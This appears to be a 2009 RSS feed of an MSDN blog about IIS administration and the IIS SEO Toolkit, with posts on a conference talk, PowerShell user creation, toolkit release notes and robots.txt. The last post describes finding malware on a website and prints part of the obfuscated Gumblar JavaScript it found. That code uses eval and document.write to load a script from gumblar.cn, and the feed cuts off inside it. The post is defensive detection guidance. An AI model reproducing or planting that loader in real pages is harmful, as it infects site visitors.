<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><title>CarlosAg Blog</title><link>http://blogs.msdn.com/carlosag/default.aspx</link><description /><dc:language>en-US</dc:language><generator>CommunityServer 2.1 SP1 (Build: 61025.2)</generator><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/CarlosAg" type="application/rss+xml" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item><title>Presenting at ASP.NET Connections in Las Vegas</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/qLnEWccrDXw/presenting-at-asp-net-connections-in-las-vegas.aspx</link><pubDate>Sun, 08 Nov 2009 01:49:50 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9919166</guid><dc:creator>CarlosAg</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/9919166.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=9919166</wfw:commentRss><description>&lt;p&gt;Next week I will be presenting at the &lt;a href="http://www.devconnections.com/shows/FALL2009ASP/default.asp?s=135" target="_blank"&gt;ASP.NET Connections event&lt;/a&gt; in Las Vegas the following topics:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;AMS04: Boost Your Site’s Search Ranking with the IIS Search Engine Optimization Toolkit&lt;/strong&gt;: Search engines are just robots, and you have to play by their rules if you want to see your site in the top search results. In this session, you will learn how to leverage the IIS Search Engine Optimizer and other tools to improve your Web site for search engine and user traffic. You will leave this session with a set of tips and tricks that will boost the search rank, performance and consistency of your Web site. &lt;strong&gt;Tuesday 10:00 am.&lt;/strong&gt;&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;AMS10: Developing and Deploying for the Windows Web App Gallery&lt;/strong&gt;: Come hear how the Microsoft Web Platform fosters a powerful development ecosystem for Web applications, and how the latest wave of IIS extensions enable Web applications to move seamlessly from a development environment to a production datacenter. You will also learn how to package a Web application for the Windows Web App Gallery to make it available to millions of users. &lt;strong&gt;Thursday 8:15 am.&lt;/strong&gt;&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;I will also be participating in a session called: &amp;quot;Q&amp;amp;A session with Scott Guthrie and the ASP.NET and VWD teams at DevConnections&amp;quot; on Wednesday.&lt;/p&gt;  &lt;p&gt;It should be fun. If you are around stop by the Microsoft Web Platform booth where I will be hanging around the rest of the time trying to answer any questions and getting a chance to learn more about how you use IIS or any problems you might be facing.&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9919166" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/qLnEWccrDXw" height="1" width="1"/&gt;</description><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx">IIS</category><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2009/11/08/presenting-at-asp-net-connections-in-las-vegas.aspx</feedburner:origLink></item><item><title>Adding IIS Manager Users and Permissions using PowerShell</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/LiI-U9Za4b0/adding-iis-manager-users-and-permissions-through-powershell.aspx</link><pubDate>Fri, 23 Oct 2009 20:41:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9912226</guid><dc:creator>CarlosAg</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/9912226.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=9912226</wfw:commentRss><description>&lt;P&gt;Today somebody ask in the IIS.net Forums how could they automate the process of adding IIS Manager Users and their Permissions using a script or a command line and I thought it would be useful to post something that hopefully will be easy to find and refer to. &lt;/P&gt;
&lt;P&gt;One way they found to do it through configuration however they were not getting the password encrypted. &lt;/P&gt;
&lt;P&gt;The first thing that I would like to highlight is that the password is not encrypted, it is actually stored as a hash which means just entering the password in clear text will not work the only way it will work is if&amp;nbsp; you calculate the same hash our current implementation does. &lt;/P&gt;
&lt;P&gt;Having said that manually adding the users is also not a good idea since the IIS Manager functionality is extensible and its storage can be replaced to store the users in SQL Server or any other backend. Our built-in implementation stores them in Administration.config but at any given time someone could have a different &lt;A href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.server.managementauthenticationprovider.aspx" mce_href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.server.managementauthenticationprovider.aspx"&gt;provider&lt;/A&gt; which means your code will not work either.&lt;/P&gt;
&lt;P&gt;So then what is the right way? Well the right way is using existing API’s we surface in &lt;A href="http://msdn.microsoft.com/en-us/library/aa347649.aspx" mce_href="http://msdn.microsoft.com/en-us/library/aa347649.aspx"&gt;Microsoft.Web.Management.dll&lt;/A&gt;, in particular &lt;A href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.server.managementauthentication.aspx" mce_href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.server.managementauthentication.aspx"&gt;Microsoft.Web.Management.Server.ManagementAuthentication&lt;/A&gt; and &lt;A href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.server.managementauthorization.isauthorized.aspx" mce_href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.server.managementauthorization.isauthorized.aspx"&gt;Microsoft.Web.Management.ManagementAuthorization&lt;/A&gt;. Using these API’s will make sure that it will call the right provider and pass the correct arguments ensuring that you do not have to implement or know any details about their implementation. &lt;/P&gt;
&lt;P&gt;These types are really easy to consume from managed code but it does mean you have to write code for it. However the good news is that through PowerShell this gets as simple as it can possibly get.&lt;/P&gt;
&lt;P&gt;So just launch PowerShell (make sure its in elevated as an administrator)&lt;/P&gt;
&lt;P&gt;Here is how you add a user and grant him access for Default Web Site:&lt;/P&gt;
&lt;DIV class=code&gt;&lt;FONT color=#000000&gt;[System.Reflection.Assembly]::LoadWithPartialName(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"Microsoft.Web.Management"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;[Microsoft.Web.Management.Server.ManagementAuthentication]::CreateUser(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"MyUser"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; "ThePassword"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;[Microsoft.Web.Management.Server.ManagementAuthorization]::Grant(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"MyUser"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; "Default Web Site"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#2b91af&gt;$FALSE&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt; &lt;/DIV&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9912226" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/LiI-U9Za4b0" height="1" width="1"/&gt;</description><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx">IIS</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx">IIS Manager</category><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2009/10/23/adding-iis-manager-users-and-permissions-through-powershell.aspx</feedburner:origLink></item><item><title>IIS Search Engine Optimization (SEO) Toolkit – Announcing Beta 2</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/YnSXLr9dHf8/iis-search-engine-optimization-seo-toolkit-announcing-beta-2.aspx</link><pubDate>Fri, 25 Sep 2009 19:00:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9899683</guid><dc:creator>CarlosAg</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/9899683.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=9899683</wfw:commentRss><description>&lt;P&gt;Yesterday we released the Beta 2 version of the &lt;A href="http://www.iis.net/extensions/SEOToolkit" target=_blank mce_href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS Search Engine Optimization (SEO) Toolkit&lt;/A&gt;. This version builds upon &lt;A href="http://blogs.msdn.com/carlosag/archive/2009/06/03/iis-search-engine-optimization-toolkit-beta-1.aspx" target=_blank mce_href="http://blogs.msdn.com/carlosag/archive/2009/06/03/iis-search-engine-optimization-toolkit-beta-1.aspx"&gt;Beta 1&lt;/A&gt; adding a set of new features and several bug fixes reported through the &lt;A href="http://forums.iis.net/1162.aspx" target=_blank mce_href="http://forums.iis.net/1162.aspx"&gt;SEO forum&lt;/A&gt;:&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;&lt;STRONG&gt;Report Comparison&lt;/STRONG&gt;. Now you have the ability to compare two reports and track a lot of different metrics that changed in between such as New and Removed URLs, Changed and Unchanged URLs, Violations Fixed and new Violations introduced. You can also compare side-by-side the details as well as the contents to see exactly what changed both in markup, headers, or anywhere. This feature will allow you to easily keep track of changes on your Web site. &lt;EM&gt;More on this feature in a future blog&lt;/EM&gt;.&lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Authentication Support&lt;/STRONG&gt;. Now you can crawl Web sites that have secured content through both Basic and Windows Authentication. This was a feature required to be able to crawl Intranet sites as well as certain staging environments that are protected by credentials.&lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Extensibility. &lt;/STRONG&gt;&lt;/LI&gt;
&lt;OL&gt;
&lt;LI&gt;Developers can now extend the crawling process by providing custom modules that can parse new content types or add new violations.&lt;/LI&gt;
&lt;LI&gt;Developers can also provide additional set of tasks for the User Interface to expose additional features in the Site Analyzer UI as well as the Sitemaps UI.&lt;/LI&gt;&lt;/OL&gt;
&lt;LI&gt;&lt;STRONG&gt;Canonical Link Support.&lt;/STRONG&gt; The crawler now understands Canonical Links (rel="canonical") and contains a new set of violations to detect 5 common mistakes such as invalid use, incorrect domains, etc. The User Interface has also been extended to leverage this concept, so you can generate queries using the "Canonical URL" field, and the Sitemaps User Interface has been extended to filter in a better way those URLs that are not Canonical. For more information on canonical links see: &lt;A title=http://www.bing.com/community/blogs/webmaster/archive/2009/02/12/partnering-to-help-solve-duplicate-content-issues.aspx href="http://www.bing.com/community/blogs/webmaster/archive/2009/02/12/partnering-to-help-solve-duplicate-content-issues.aspx" mce_href="http://www.bing.com/community/blogs/webmaster/archive/2009/02/12/partnering-to-help-solve-duplicate-content-issues.aspx"&gt;http://www.bing.com/community/blogs/webmaster/archive/2009/02/12/partnering-to-help-solve-duplicate-content-issues.aspx&lt;/A&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Export.&lt;/STRONG&gt; Now there are three new menu items to "Export all Violations", "Export all URLs" and "Export all Links". They get saved in a CSV (comma-separated-value) format that can easily be opened with Excel or any other Spreadsheet program (or even notepad). &lt;A href="http://www.microsoft.com/downloads/details.aspx?FamilyID=890cd06b-abf8-4c25-91b2-f8d975cf8c07" target=_blank mce_href="http://www.microsoft.com/downloads/details.aspx?FamilyID=890cd06b-abf8-4c25-91b2-f8d975cf8c07"&gt;Log Parser&lt;/A&gt; is another tool that can be used to issue SQL queries to it.&lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Open Source Files and Directories.&lt;/STRONG&gt; To facilitate the fixing of violations now when you crawl the content locally you will get a context menu to open the file or the directory where it is contained in the pre-configured editor with a single click.&lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Usability feedback.&lt;/STRONG&gt; We did tons of changes in the User interface to try to simplify workflows and discovery of features based on usability feedback we had.&lt;/LI&gt;
&lt;OL&gt;
&lt;LI&gt;Now we have a Start Menu Program to open the feature directly (IIS Search Engine Optimization (SEO) Toolkit).&lt;/LI&gt;
&lt;LI&gt;New Search Engine Optimization Page. Now all the features are surfaced directly from a single page as well as common tasks and the most recently used content within them so that with a single click you get into what you need.&lt;/LI&gt;
&lt;LI&gt;Query Builder updates, better UI for aggregation, auto-suggest for some fields, and better/cleaner display in general.&lt;/LI&gt;
&lt;LI&gt;Automatically start common tasks as part of a workflow.&lt;/LI&gt;
&lt;LI&gt;Less use of Tabs. We learned users felt uncomfortable getting multiple Tabs opened such as when "drilling-down" from a Violations query to see the details. In this version the "drilling-down" happens on a popup dialog to facilitate navigation and preserve context on where you were before. We also kept the option to open them in Tabs by using the "Open Group in New Query" context menu option for those that actually liked that.&lt;/LI&gt;
&lt;LI&gt;Added a new Violations Tag in the details dialog to facilitate fixing page-by-page from the Details Dialog.&lt;/LI&gt;
&lt;LI&gt;New grouping by start time in the reports page.&lt;/LI&gt;
&lt;LI&gt;Many more…&lt;/LI&gt;&lt;/OL&gt;
&lt;LI&gt;&lt;STRONG&gt;Many bug fixes&lt;/STRONG&gt; such as Fixes for CSS parsing (Comments, URL detection, etc), URL Resolution for relative URLs, Remove noise for violations in redirects, better parsing of CSS styles inside HTML, Fixes for HTML to Text conversion, better handling of storage of cached files, fixed format for dates in sitemaps, better bi-directional rendering and Right-to-Left, etc.&lt;/LI&gt;
&lt;LI&gt;Flag status codes 400-600 as broken links.&lt;/LI&gt;
&lt;LI&gt;Robots now can open the robots.txt file and fixed a couple of processing issues.&lt;/LI&gt;
&lt;LI&gt;Sitemaps has better filtering and handling of canonical URLs&lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Many more&lt;/STRONG&gt;…&lt;/LI&gt;&lt;/OL&gt;
&lt;P&gt;This version can upgrade Beta 1 version and is fully compatible (i.e. your reports continue to work with the new version) so go ahead and try it and PLEASE provide us with feedback at the &lt;A href="http://forums.iis.net/1162.aspx" target=_blank mce_href="http://forums.iis.net/1162.aspx"&gt;SEO Forum in the IIS Web site&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.microsoft.com/web/gallery/install.aspx/SEOToolkit" target=_blank mce_href="http://www.microsoft.com/web/gallery/install.aspx/SEOToolkit"&gt;Click here to install the IIS SEO Toolkit&lt;/A&gt;.&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9899683" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/YnSXLr9dHf8" height="1" width="1"/&gt;</description><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx">IIS</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx">IIS Manager</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx">SEO</category><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2009/09/25/iis-search-engine-optimization-seo-toolkit-announcing-beta-2.aspx</feedburner:origLink></item><item><title>SEO Tip - Beware of the Login pages - add them to Robots Exclusion</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/7UCypQbY53w/seo-tip-beware-of-the-login-pages-add-them-to-robots-exclusion.aspx</link><pubDate>Tue, 07 Jul 2009 04:55:17 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9821169</guid><dc:creator>CarlosAg</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/9821169.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=9821169</wfw:commentRss><description>&lt;p&gt;A lot of sites today have the ability for users to sign in to show them some sort of personalized content, whether its a forum, a news reader, or some e-commerce application. To simplify their users life they usually want to give them the ability to log on from any page of the Site they are currently looking at. Similarly, in an effort to keep a simple navigation for users Web Sites usually generate dynamic links to have a way to go back to the page where they were before visiting the login page, something like: &amp;lt;a href=&amp;quot;/login?returnUrl=/currentUrl&amp;quot;&amp;gt;Sign in&amp;lt;/a&amp;gt;.&lt;/p&gt;  &lt;p&gt;If your site has a login page you should definitely consider adding it to the &lt;a href="http://en.wikipedia.org/wiki/Robots_Exclusion_Standard"&gt;Robots Exclusion&lt;/a&gt; list since that is a good example of the things you do not want a search engine crawler to spend their time on. Remember you have a limited amount of time and you really want them to focus on what is important in your site.&lt;/p&gt;  &lt;p&gt;Out of curiosity I searched for login.php and login.aspx and found &lt;strong&gt;over 14 million login pages&lt;/strong&gt;… that is a lot of useless content in a search engine.&lt;/p&gt;  &lt;p&gt;Another big reason is because having this kind of URL's that vary depending on each page means there will be hundreds of variations that crawlers will need to follow, like /login?returnUrl=page1.htm, /login?returnUrl=page2.htm, etc, so it basically means you just increased the work for the crawler by two-fold. And even worst, in some cases if you are not careful you can easily cause an infinite loop for them when you add the same &amp;quot;login-link&amp;quot; in the actual login page since you get /login?returnUrl=login as the link and then when you click that you get /login?returnUrl=login?returnUrl=login... and so on with an ever changing URL for each page on your site. Note that this is not hypothetical this is actually a real example from a few famous Web sites (which I will not disclose). Of course crawlers will not infinitely crawl your Web site and they are not that silly and will stop after looking at the same resource /login for a few hundred times, but this means you are just reducing the time of them looking at what really matters to your users.&lt;/p&gt;  &lt;h3&gt;IIS SEO Toolkit&lt;/h3&gt;  &lt;p&gt;If you use the &lt;a href="http://www.iis.net/extensions/SEOToolkit" target="_blank"&gt;IIS SEO Toolkit&lt;/a&gt; it will detect the condition when the same resource (like login.aspx) is being used too many times (and only varying the Query String) and will give you a violation error like: &lt;strong&gt;Resource is used too many times&lt;/strong&gt;.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h3&gt;So how do I fix this?&lt;/h3&gt;  &lt;p&gt;There are a few fixes, but by far the best thing to do is just add the login page to the Robots Exclusion protocol. &lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Add the URL to the /robots.txt, you can use the &lt;a href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS Search Engine Optimization Toolkit&lt;/a&gt; to edit the robots file, or just drop a file with something like:       &lt;br /&gt;      &lt;div class="code"&gt;User-agent: *        &lt;br /&gt;Disallow: /login         &lt;br /&gt;&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;Alternatively (or additionally)&amp;#160; you can add a rel attribute with the nofollow value to tell them not to even try. Something like:      &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;a&lt;/font&gt;&lt;font color="#ff0000"&gt; href&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;/login?returnUrl=page&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; rel&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;nofollow&amp;quot;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;Log in&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;a&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&lt;/font&gt; &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;Finally make sure to use the Site Analysis feature in the &lt;a href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS SEO Toolkit&lt;/a&gt; to make sure you don't have this kind of behavior. It will automatically flag a violation when it identifies that the same &amp;quot;page&amp;quot; (with different Query String) has already been visited over 500 times. &lt;/li&gt; &lt;/ol&gt;  &lt;h3&gt;Summary&lt;/h3&gt;  &lt;p&gt;To summarize always add the login page to the robots exclusion protocol file, otherwise you will end up:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;sacrificing valuable &amp;quot;search engine crawling time&amp;quot; in your site.&lt;/li&gt;    &lt;li&gt;spending unnecessary bandwidth and server resources.&lt;/li&gt;    &lt;li&gt;potentially even blocking crawlsers from your content.&lt;/li&gt; &lt;/ol&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9821169" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/7UCypQbY53w" height="1" width="1"/&gt;</description><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx">IIS</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx">IIS Manager</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx">SEO</category><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2009/07/07/seo-tip-beware-of-the-login-pages-add-them-to-robots-exclusion.aspx</feedburner:origLink></item><item><title>Finding malware in your Web Site using IIS SEO Toolkit</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/v7TUE8Xf1M8/finding-malware-using-iis-seo-toolkit.aspx</link><pubDate>Wed, 24 Jun 2009 02:43:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9800489</guid><dc:creator>CarlosAg</dc:creator><slash:comments>2</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/9800489.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=9800489</wfw:commentRss><description>&lt;p&gt;The other day a friend of mine who owns a Web site asked me to look at his Web site to see if I could spot anything weird since according to his Web Hosting provider it was being flagged as malware infected by Google. &lt;/p&gt;  &lt;p&gt;My friend (who is not technical at all) talked to his Web site designer and mentioned the problem. He downloaded the HTML pages and tried looking for anything suspicious on them, however he was not able to find anything. My friend then went back to his Hosting provider and mentioned the fact that they were not able to find anything problematic and that if it could be something with the server configuration, to which they replied in a sarcastic way that it was probably ignorance on his Web site designer.&lt;/p&gt;  &lt;h2&gt;&lt;/h2&gt;  &lt;h2&gt;Enter IIS SEO Toolkit &lt;/h2&gt;  &lt;p&gt;So of course I decided the first thing I would do is to &lt;a href="http://learn.iis.net/page.aspx/640/using-site-analysis-to-crawl-a-web-site/" target="_blank" mce_href="http://learn.iis.net/page.aspx/640/using-site-analysis-to-crawl-a-web-site/"&gt;start by crawling the Web site using Site Analysis&lt;/a&gt; in &lt;a href="http://www.iis.net/extensions/SEOToolkit" target="_blank" mce_href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS SEO Toolkit&lt;/a&gt;. This gave me a list of the pages and resources that his Web site would have. First thing I knew is usually malware hides either in executables or scripts on the server, so I started looking for the different content types shown in the &amp;quot;Content Types Summary&amp;quot; inside the Content reports in the dashboard page.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/FindingmalwareusingIISSEOToolkit_8844/img01_6.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="img01" border="0" alt="img01" src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/FindingmalwareusingIISSEOToolkit_8844/img01_thumb_2.png" width="244" height="184" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;I was surprised to no found a single executable and to only see two very simple javascripts which looked not like malware in any way. So based on previous knowledge I knew that malware in HTML pages usually is hidden behind a funky looking script that is encoded and usually uses the eval function to run the code. So I quickly did a query for those HTML pages which contain the word eval and contain the word unescape. I know there are valid scripts that could include those features since they exist for a reason but it was a good way to get scoping the pages. &lt;/p&gt;  &lt;h2&gt;Gumblar and Martuz.cn Malware on sight&lt;/h2&gt;  &lt;p&gt;&lt;a href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/FindingmalwareusingIISSEOToolkit_8844/img02_2.png" mce_href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/FindingmalwareusingIISSEOToolkit_8844/img02_2.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="img02" border="0" alt="img02" src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/FindingmalwareusingIISSEOToolkit_8844/img02_thumb.png" width="244" height="184" mce_src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/FindingmalwareusingIISSEOToolkit_8844/img02_thumb.png" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;After running the query as shown above, I got a set of HTML files which all gave a status code 404 – NOT FOUND. Double clicking in any of them and looking at the HTML markup content made it immediately obvious they were malware infected, look at the following markup:&lt;/p&gt;  &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;HTML&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;HEAD&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;TITLE&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;404 Not Found&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;TITLE&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;HEAD&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;script&lt;/font&gt;&lt;font color="#ff0000"&gt; language&lt;/font&gt;&lt;font color="#0000ff"&gt;=javascript&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;lt;!--&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#0000ff"&gt;function&lt;/font&gt;&lt;font color="#000000"&gt;(AO9h){&lt;/font&gt;&lt;font color="#0000ff"&gt;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;x752&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;'%'&lt;/font&gt;&lt;font color="#0000ff"&gt;;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;qAxG&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;'va&amp;quot;72&amp;quot;20a&amp;quot;3d&amp;quot;22Scr&amp;quot;69pt&amp;quot;45ng&amp;quot;69ne&amp;quot;22&amp;quot;2cb&amp;quot;3d&amp;quot;22Version(&amp;quot;29&amp;quot;2b&amp;quot;22&amp;quot;2c&amp;quot;6a&amp;quot;3d&amp;quot;22&amp;quot;22&amp;quot;2cu&amp;quot;3dnav&amp;quot;69g&amp;quot;61&amp;quot;74or&amp;quot;2e&amp;quot;75ser&amp;quot;41gent&amp;quot;3bif((u&amp;quot;2e&amp;quot;69ndexO&amp;quot;66&amp;quot;28&amp;quot;22Win&amp;quot;22)&amp;quot;3e0)&amp;quot;26&amp;quot;26(u&amp;quot;2eindexOf(&amp;quot;22NT&amp;quot;206&amp;quot;22&amp;quot;29&amp;quot;3c0)&amp;quot;26&amp;quot;26(document&amp;quot;2e&amp;quot;63o&amp;quot;6fkie&amp;quot;2ei&amp;quot;6e&amp;quot;64exOf(&amp;quot;22mi&amp;quot;65&amp;quot;6b&amp;quot;3d1&amp;quot;22)&amp;quot;3c0)&amp;quot;26&amp;quot;26&amp;quot;28typ&amp;quot;65&amp;quot;6ff&amp;quot;28&amp;quot;7arv&amp;quot;7a&amp;quot;74&amp;quot;73&amp;quot;29&amp;quot;21&amp;quot;3dty&amp;quot;70e&amp;quot;6f&amp;quot;66&amp;quot;28&amp;quot;22A&amp;quot;22))&amp;quot;29&amp;quot;7b&amp;quot;7arvzts&amp;quot;3d&amp;quot;22A&amp;quot;22&amp;quot;3be&amp;quot;76a&amp;quot;6c(&amp;quot;22i&amp;quot;66(wi&amp;quot;6edow&amp;quot;2e&amp;quot;22+a&amp;quot;2b&amp;quot;22)j&amp;quot;3d&amp;quot;6a+&amp;quot;22+a+&amp;quot;22Major&amp;quot;22+b+a&amp;quot;2b&amp;quot;22M&amp;quot;69no&amp;quot;72&amp;quot;22&amp;quot;2bb+a+&amp;quot;22&amp;quot;42&amp;quot;75&amp;quot;69ld&amp;quot;22+b+&amp;quot;22&amp;quot;6a&amp;quot;3b&amp;quot;22)&amp;quot;3bdocume&amp;quot;6e&amp;quot;74&amp;quot;2ewrite&amp;quot;28&amp;quot;22&amp;quot;3cs&amp;quot;63&amp;quot;72ipt&amp;quot;20&amp;quot;73rc&amp;quot;3d&amp;quot;2f&amp;quot;2fgum&amp;quot;62la&amp;quot;72&amp;quot;2ecn&amp;quot;2f&amp;quot;72ss&amp;quot;2f&amp;quot;